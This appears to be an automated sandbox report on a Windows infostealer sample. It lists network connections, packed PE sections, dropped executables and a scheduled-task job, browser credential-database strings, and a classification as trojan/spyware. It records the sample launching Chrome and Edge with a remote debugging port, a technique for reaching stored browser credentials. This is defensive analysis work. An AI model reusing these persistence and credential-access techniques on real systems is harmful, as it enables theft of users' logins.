Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50038 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsCGDGCFBAEG.exe.0.dr	Static PE information: section name:
Source: DocumentsCGDGCFBAEG.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsCGDGCFBAEG.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65F280

Source: C:\Users\user\DocumentsCGDGCFBAEG.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBA90	0_2_6C6CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C370	0_2_6C66C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655340	0_2_6C655340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D320	0_2_6C69D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C53C8	0_2_6C6C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F380	0_2_6C65F380
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_001E7049	26_2_001E7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_001E8860	26_2_001E8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_001E78BB	26_2_001E78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_001E2D10	26_2_001E2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_001AE530	26_2_001AE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_001E31A8	26_2_001E31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_001A4DE0	26_2_001A4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_001A4B30	26_2_001A4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_001D7F36	26_2_001D7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_001E779B	26_2_001E779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 90 times

Source: file.exe, 00000000.00000002.2599271433.000000006C8D5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2592783551.0000000023AB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: bnuodmgb ZLIB complexity 0.9949696828358209
Source: DocumentsCGDGCFBAEG.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979617251362398
Source: DocumentsCGDGCFBAEG.exe.0.dr	Static PE information: Section: jcgoymzc ZLIB complexity 0.9938526534041631
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979617251362398
Source: random[1].exe.0.dr	Static PE information: Section: jcgoymzc ZLIB complexity 0.9938526534041631
Source: skotes.exe.22.dr	Static PE information: Section: ZLIB complexity 0.9979617251362398
Source: skotes.exe.22.dr	Static PE information: Section: jcgoymzc ZLIB complexity 0.9938526534041631

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@72/300@20/24

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\NJTZYVMS.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5024:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\d8ea4880-8a81-4954-b043-23b26a65d0d9.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2597880509.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2598969012.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2588245686.000000001D957000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2597880509.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2598969012.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2588245686.000000001D957000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2597880509.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2598969012.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2588245686.000000001D957000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2597880509.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2598969012.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2588245686.000000001D957000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2597880509.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2598969012.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2588245686.000000001D957000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2597880509.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2588245686.000000001D957000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2597880509.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2598969012.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2588245686.000000001D957000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2353105762.000000001D84D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267392457.000000001D859000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJDAAKFHIDAKFH.0.dr, GIDHDGCBFBKECBFHCAFH.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2597880509.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2588245686.000000001D957000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2597880509.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2588245686.000000001D957000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 36%
Source: file.exe	Virustotal: Detection: 40%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsCGDGCFBAEG.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1892 --field-trial-handle=1992,i,12706456315753222113,8873599955583022183,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=2400,i,6581294716283398080,17748200714867695164,262144 /prefetch:3
